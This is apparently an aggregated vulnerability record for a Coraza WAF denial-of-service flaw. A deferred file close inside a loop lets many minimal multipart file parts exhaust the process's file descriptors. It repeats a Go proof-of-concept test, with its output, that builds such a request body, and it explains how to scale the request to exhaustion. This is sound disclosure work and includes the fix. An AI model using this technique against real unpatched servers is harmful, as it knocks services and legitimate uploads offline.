{"id":"CVE-2026-107834","aliases":["EUVD-2026-95927","GHSA-rp9v-7xv3-r6g3","GO-2026-6697"],"status":"published","title":"OWASP Coraza WAF: Resource exhaustion via deferred file handle accumulation in multipart body processor","description":"OWASP Coraza WAF is a golang modsecurity compatible web application firewall library. From 3.0.0 until 3.8.0, the multipart loop in internal/bodyprocessors/multipart.go executes defer temp.Close() for every uploaded file part, so each temporary-file descriptor remains open until the complete request returns. An unauthenticated attacker can submit a multipart body containing many minimal file parts and exhaust the process file-descriptor table within the request-body size limit, causing os.CreateTemp failures, MULTIPART_STRICT_ERROR responses, blocked legitimate uploads, and process-wide inability to open files or sockets. This issue is fixed in version 3.8.0.","severity":{"version":"3.1","score":5.3,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L","level":"medium","assessor":"cna","from":"cve"},"epss":{"day":"2026-11-12","score":0.00322,"percentile":0.25589,"model":"v2026.06.15"},"facts":{"in_kev":false,"known_exploited":false,"public_exploit":false,"fix_available":true},"cwes":["CWE-400","CWE-772"],"published":"2026-10-08T17:52:00Z","modified":"2026-10-28T02:30:23Z","fixes":[{"ecosystem":"Go","package":"github.com/corazawaf/coraza/v3","fixed_in":["3.8.0"],"sources":["ghsa","osv"]}],"affected":[{"source":"ghsa","ecosystem":"Go","package":"github.com/corazawaf/coraza/v3","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"3.0.0"},{"fixed":"3.8.0"}]}]},{"source":"osv","ecosystem":"Go","package":"github.com/corazawaf/coraza/v3","ranges":[{"type":"SEMVER","events":[{"introduced":"3.0.0"},{"fixed":"3.8.0"}]}]},{"source":"osv","ecosystem":"Go","package":"github.com/corazawaf/coraza","ranges":[{"type":"SEMVER","events":[{"introduced":"0"}]}]},{"source":"osv","ecosystem":"Go","package":"github.com/corazawaf/coraza/v2","ranges":[{"type":"SEMVER","events":[{"introduced":"0"}]}]},{"source":"osv","ecosystem":"Go","package":"github.com/corazawaf/coraza/v3","ranges":[{"type":"SEMVER","events":[{"introduced":"3.0.0"},{"fixed":"3.8.0"}]}]}],"products":[{"vendor":"corazawaf","product":"coraza"}],"references":[{"url":"https://github.com/corazawaf/coraza/security/advisories/GHSA-rp9v-7xv3-r6g3","tags":["x_refsource_CONFIRM","advisory","web"]},{"url":"https://github.com/corazawaf/coraza/commit/1bc39036e99c88e7de60cf8e6bb55ee4c311223c","tags":["x_refsource_MISC","fix","web"]},{"url":"https://github.com/corazawaf/coraza/releases/tag/v3.8.0","tags":["x_refsource_MISC","web"]},{"url":"https://github.com/advisories/GHSA-rp9v-7xv3-r6g3"},{"url":"https://github.com/CVEProject/cvelistV5/tree/main/cves/2026/107xxx/CVE-2026-107834.json","tags":["advisory"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-107834","tags":["advisory"]},{"url":"https://github.com/corazawaf/coraza","tags":["package"]}],"sources":{"cve":[{"id":"CVE-2026-107834","title":"OWASP Coraza WAF: Resource exhaustion via deferred file handle accumulation in multipart body processor","description":"OWASP Coraza WAF is a golang modsecurity compatible web application firewall library. From 3.0.0 until 3.8.0, the multipart loop in internal/bodyprocessors/multipart.go executes defer temp.Close() for every uploaded file part, so each temporary-file descriptor remains open until the complete request returns. An unauthenticated attacker can submit a multipart body containing many minimal file parts and exhaust the process file-descriptor table within the request-body size limit, causing os.CreateTemp failures, MULTIPART_STRICT_ERROR responses, blocked legitimate uploads, and process-wide inability to open files or sockets. This issue is fixed in version 3.8.0.","status":"published","published":"2026-10-09T17:41:07.802Z","modified":"2026-10-13T20:26:52.261Z","cvss":[{"version":"3.1","score":5.3,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L","level":"medium","assessor":"cna"}],"cwes":["CWE-400","CWE-772"],"updated_at":"2026-11-02T13:45:25.313702Z"}],"euvd":[{"id":"EUVD-2026-95927","description":"OWASP Coraza WAF is a golang modsecurity compatible web application firewall library. From 3.0.0 until 3.8.0, the multipart loop in internal/bodyprocessors/multipart.go executes defer temp.Close() for every uploaded file part, so each temporary-file descriptor remains open until the complete request returns. An unauthenticated attacker can submit a multipart body containing many minimal file parts and exhaust the process file-descriptor table within the request-body size limit, causing os.CreateTemp failures, MULTIPART_STRICT_ERROR responses, blocked legitimate uploads, and process-wide inability to open files or sockets. This issue is fixed in version 3.8.0.","status":"published","published":"2026-10-09T17:41:07Z","modified":"2026-10-13T20:26:52Z","cvss":[{"version":"3.1","score":5.3,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L","level":"medium"}],"updated_at":"2026-11-02T17:27:18.393051Z"}],"ghsa":[{"id":"GHSA-rp9v-7xv3-r6g3","title":"Coraza: Resource exhaustion via deferred file handle accumulation in multipart body processor","description":"## Summary\n\n`defer temp.Close()` sits inside a `for` loop in the multipart processor. Go defers run at function return, not loop end, so every file part in the request holds an open fd until `ProcessRequest()` exits. Send enough parts and you hit `EMFILE`. With CRS loaded, that flips `MULTIPART_STRICT_ERROR` to 1 and rule `200001` starts returning 400s, including on legitimate requests hitting the same condition.\n\n## Details\n\n`internal/bodyprocessors/multipart.go`, line 69:\n\n```go\nfor {\n    p, err := mr.NextPart()\n    // ...\n    temp, err := os.CreateTemp(storagePath, \"crzmp*\")\n    defer temp.Close() // wrong scope\n    io.Copy(temp, p)\n}\n```\n\nEach iteration opens a temp file and defers its close. All of them stack up and fire together when `ProcessRequest` returns. 500 parts, 500 fds held simultaneously.\n\nThe body size limit (default 128MB) caps total bytes, not part count. A minimal file part (boundary line, `Content-Disposition` with `filename=`, one byte of content) is about 104 bytes. That's roughly 65,000 parts per 6.8MB of body, which on a standard Linux system (hard fd limit 65536) is enough to exhaust the table.\n\nFix is straightforward: call `temp.Close()` explicitly after `io.Copy` instead of deferring it.\n\n## PoC\n\nTested on v3.7.0 (`db9850b`), Go 1.25, Linux x86_64.\n\nAdd this file at `internal/bodyprocessors/poc_fd_test.go` and run:\n\n```text\ngo test -v -run TestMultipartFDLeak ./internal/bodyprocessors/...\n```\n\n```go\npackage bodyprocessors_test\n\nimport (\n\t\"fmt\"\n\t\"os\"\n\t\"strings\"\n\t\"sync\"\n\t\"sync/atomic\"\n\t\"testing\"\n\n\t\"github.com/corazawaf/coraza/v3/experimental/plugins/plugintypes\"\n\t\"github.com/corazawaf/coraza/v3/internal/bodyprocessors\"\n\t\"github.com/corazawaf/coraza/v3/internal/corazawaf\"\n)\n\nfunc countFDs() int {\n\te, _ := os.ReadDir(\"/proc/self/fd\")\n\treturn len(e)\n}\n\nfunc TestMultipartFDLeak(t *testing.T) {\n\tboundary := \"testboundary\"\n\tvar sb strings.Builder\n\tfor i := 0; i \u003c 500; i++ {\n\t\tfmt.Fprintf(\u0026sb, \"--%s\\r\\n\", boundary)\n\t\tfmt.Fprintf(\u0026sb, \"Content-Disposition: form-data; name=\\\"f%d\\\"; filename=\\\"f%d.txt\\\"\\r\\n\", i, i)\n\t\tsb.WriteString(\"\\r\\n\")\n\t\tsb.WriteString(\"X\\r\\n\")\n\t}\n\tfmt.Fprintf(\u0026sb, \"--%s--\\r\\n\", boundary)\n\n\tmp, _ := bodyprocessors.GetBodyProcessor(\"multipart\")\n\tbaseline := countFDs()\n\n\tvar peak int64\n\tdone := make(chan struct{})\n\tvar wg sync.WaitGroup\n\twg.Add(1)\n\tgo func() {\n\t\tdefer wg.Done()\n\t\tfor {\n\t\t\tselect {\n\t\t\tcase \u003c-done:\n\t\t\t\treturn\n\t\t\tdefault:\n\t\t\t\tn := int64(countFDs())\n\t\t\t\tfor {\n\t\t\t\t\tcur := atomic.LoadInt64(\u0026peak)\n\t\t\t\t\tif n \u003c= cur || atomic.CompareAndSwapInt64(\u0026peak, cur, n) {\n\t\t\t\t\t\tbreak\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t}()\n\n\tv := corazawaf.NewTransactionVariables()\n\tmp.ProcessRequest(strings.NewReader(sb.String()), v,\n\t\tplugintypes.BodyProcessorOptions{\n\t\t\tMime:        \"multipart/form-data; boundary=\" + boundary,\n\t\t\tStoragePath: t.TempDir(),\n\t\t})\n\tclose(done)\n\twg.Wait()\n\n\tt.Logf(\"baseline=%d  peak=%d  spike=+%d\",\n\t\tbaseline, atomic.LoadInt64(\u0026peak),\n\t\tatomic.LoadInt64(\u0026peak)-int64(baseline))\n}\n```\n\nOutput:\n\n```text\nbaseline=7  peak=506  spike=+499\n```\n\nThe spike is ~1 fd per part. After `ProcessRequest` returns the deferred closes fire and it drops back to baseline.\n\n## Impact\n\n- **No authentication required.** Any endpoint that accepts multipart uploads is affected.\n- **fd exhaustion at ~6.8MB body (~65k parts).** `os.CreateTemp` starts returning errors and `MULTIPART_STRICT_ERROR` is set to 1.\n- **CRS false positives / DoS.** With CRS loaded, rule `200001` then blocks the request with a 400 — and any other multipart request processed concurrently that runs into the same condition gets blocked too. At that point the WAF can't distinguish the attack from a legitimate upload.\n- **Process-wide impact.** While the fd table is full the process can't open sockets or files for anything else either.\n- **Scope.** Affects all v3.x releases; the `defer` has been present since the multipart processor was introduced.","status":"published","published":"2026-10-08T17:52:00Z","modified":"2026-10-09T17:41:12Z","cvss":[{"version":"3.1","score":5.3,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L","level":"medium"}],"cwes":["CWE-400","CWE-772"],"updated_at":"2026-11-02T14:41:31.175024Z"}],"nvd":[{"id":"CVE-2026-107834","description":"OWASP Coraza WAF is a golang modsecurity compatible web application firewall library. From 3.0.0 until 3.8.0, the multipart loop in internal/bodyprocessors/multipart.go executes defer temp.Close() for every uploaded file part, so each temporary-file descriptor remains open until the complete request returns. An unauthenticated attacker can submit a multipart body containing many minimal file parts and exhaust the process file-descriptor table within the request-body size limit, causing os.CreateTemp failures, MULTIPART_STRICT_ERROR responses, blocked legitimate uploads, and process-wide inability to open files or sockets. This issue is fixed in version 3.8.0.","status":"published","published":"2026-10-09T18:17:05.007Z","modified":"2026-10-16T17:16:41.3Z","cvss":[{"version":"3.1","score":5.3,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L","level":"medium","assessor":"secondary"}],"cwes":["CWE-400","CWE-772"],"updated_at":"2026-11-02T14:12:55.473789Z"}],"osv":[{"id":"CVE-2026-107834","title":"OWASP Coraza WAF: Resource exhaustion via deferred file handle accumulation in multipart body processor","description":"OWASP Coraza WAF is a golang modsecurity compatible web application firewall library. From 3.0.0 until 3.8.0, the multipart loop in internal/bodyprocessors/multipart.go executes defer temp.Close() for every uploaded file part, so each temporary-file descriptor remains open until the complete request returns. An unauthenticated attacker can submit a multipart body containing many minimal file parts and exhaust the process file-descriptor table within the request-body size limit, causing os.CreateTemp failures, MULTIPART_STRICT_ERROR responses, blocked legitimate uploads, and process-wide inability to open files or sockets. This issue is fixed in version 3.8.0.","status":"published","published":"2026-10-09T17:41:07.802Z","modified":"2026-10-28T02:30:23.828044371Z","cvss":[{"version":"3.1","score":5.3,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L","level":"medium"}],"cwes":["CWE-400","CWE-772"],"updated_at":"2026-11-02T15:44:54.933106Z"},{"id":"GHSA-rp9v-7xv3-r6g3","title":"Coraza: Resource exhaustion via deferred file handle accumulation in multipart body processor","description":"## Summary\n\n`defer temp.Close()` sits inside a `for` loop in the multipart processor. Go defers run at function return, not loop end, so every file part in the request holds an open fd until `ProcessRequest()` exits. Send enough parts and you hit `EMFILE`. With CRS loaded, that flips `MULTIPART_STRICT_ERROR` to 1 and rule `200001` starts returning 400s, including on legitimate requests hitting the same condition.\n\n## Details\n\n`internal/bodyprocessors/multipart.go`, line 69:\n\n```go\nfor {\n    p, err := mr.NextPart()\n    // ...\n    temp, err := os.CreateTemp(storagePath, \"crzmp*\")\n    defer temp.Close() // wrong scope\n    io.Copy(temp, p)\n}\n```\n\nEach iteration opens a temp file and defers its close. All of them stack up and fire together when `ProcessRequest` returns. 500 parts, 500 fds held simultaneously.\n\nThe body size limit (default 128MB) caps total bytes, not part count. A minimal file part (boundary line, `Content-Disposition` with `filename=`, one byte of content) is about 104 bytes. That's roughly 65,000 parts per 6.8MB of body, which on a standard Linux system (hard fd limit 65536) is enough to exhaust the table.\n\nFix is straightforward: call `temp.Close()` explicitly after `io.Copy` instead of deferring it.\n\n## PoC\n\nTested on v3.7.0 (`db9850b`), Go 1.25, Linux x86_64.\n\nAdd this file at `internal/bodyprocessors/poc_fd_test.go` and run:\n\n```text\ngo test -v -run TestMultipartFDLeak ./internal/bodyprocessors/...\n```\n\n```go\npackage bodyprocessors_test\n\nimport (\n\t\"fmt\"\n\t\"os\"\n\t\"strings\"\n\t\"sync\"\n\t\"sync/atomic\"\n\t\"testing\"\n\n\t\"github.com/corazawaf/coraza/v3/experimental/plugins/plugintypes\"\n\t\"github.com/corazawaf/coraza/v3/internal/bodyprocessors\"\n\t\"github.com/corazawaf/coraza/v3/internal/corazawaf\"\n)\n\nfunc countFDs() int {\n\te, _ := os.ReadDir(\"/proc/self/fd\")\n\treturn len(e)\n}\n\nfunc TestMultipartFDLeak(t *testing.T) {\n\tboundary := \"testboundary\"\n\tvar sb strings.Builder\n\tfor i := 0; i \u003c 500; i++ {\n\t\tfmt.Fprintf(\u0026sb, \"--%s\\r\\n\", boundary)\n\t\tfmt.Fprintf(\u0026sb, \"Content-Disposition: form-data; name=\\\"f%d\\\"; filename=\\\"f%d.txt\\\"\\r\\n\", i, i)\n\t\tsb.WriteString(\"\\r\\n\")\n\t\tsb.WriteString(\"X\\r\\n\")\n\t}\n\tfmt.Fprintf(\u0026sb, \"--%s--\\r\\n\", boundary)\n\n\tmp, _ := bodyprocessors.GetBodyProcessor(\"multipart\")\n\tbaseline := countFDs()\n\n\tvar peak int64\n\tdone := make(chan struct{})\n\tvar wg sync.WaitGroup\n\twg.Add(1)\n\tgo func() {\n\t\tdefer wg.Done()\n\t\tfor {\n\t\t\tselect {\n\t\t\tcase \u003c-done:\n\t\t\t\treturn\n\t\t\tdefault:\n\t\t\t\tn := int64(countFDs())\n\t\t\t\tfor {\n\t\t\t\t\tcur := atomic.LoadInt64(\u0026peak)\n\t\t\t\t\tif n \u003c= cur || atomic.CompareAndSwapInt64(\u0026peak, cur, n) {\n\t\t\t\t\t\tbreak\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t}()\n\n\tv := corazawaf.NewTransactionVariables()\n\tmp.ProcessRequest(strings.NewReader(sb.String()), v,\n\t\tplugintypes.BodyProcessorOptions{\n\t\t\tMime:        \"multipart/form-data; boundary=\" + boundary,\n\t\t\tStoragePath: t.TempDir(),\n\t\t})\n\tclose(done)\n\twg.Wait()\n\n\tt.Logf(\"baseline=%d  peak=%d  spike=+%d\",\n\t\tbaseline, atomic.LoadInt64(\u0026peak),\n\t\tatomic.LoadInt64(\u0026peak)-int64(baseline))\n}\n```\n\nOutput:\n\n```text\nbaseline=7  peak=506  spike=+499\n```\n\nThe spike is ~1 fd per part. After `ProcessRequest` returns the deferred closes fire and it drops back to baseline.\n\n## Impact\n\n- **No authentication required.** Any endpoint that accepts multipart uploads is affected.\n- **fd exhaustion at ~6.8MB body (~65k parts).** `os.CreateTemp` starts returning errors and `MULTIPART_STRICT_ERROR` is set to 1.\n- **CRS false positives / DoS.** With CRS loaded, rule `200001` then blocks the request with a 400 — and any other multipart request processed concurrently that runs into the same condition gets blocked too. At that point the WAF can't distinguish the attack from a legitimate upload.\n- **Process-wide impact.** While the fd table is full the process can't open sockets or files for anything else either.\n- **Scope.** Affects all v3.x releases; the `defer` has been present since the multipart processor was introduced.","status":"published","published":"2026-10-08T17:52:00Z","modified":"2026-10-19T21:41:16.115574313Z","cvss":[{"version":"3.1","score":5.3,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L","level":"medium"}],"cwes":["CWE-400","CWE-772"],"updated_at":"2026-11-02T15:46:56.281047Z"},{"id":"GO-2026-6697","title":"Coraza: Resource exhaustion via deferred file handle accumulation in multipart body processor in github.com/corazawaf/coraza","description":"Coraza: Resource exhaustion via deferred file handle accumulation in multipart body processor in github.com/corazawaf/coraza","status":"published","published":"2026-10-19T21:08:17Z","modified":"2026-10-19T21:41:16.115574313Z","updated_at":"2026-11-02T15:47:03.11707Z"}]}}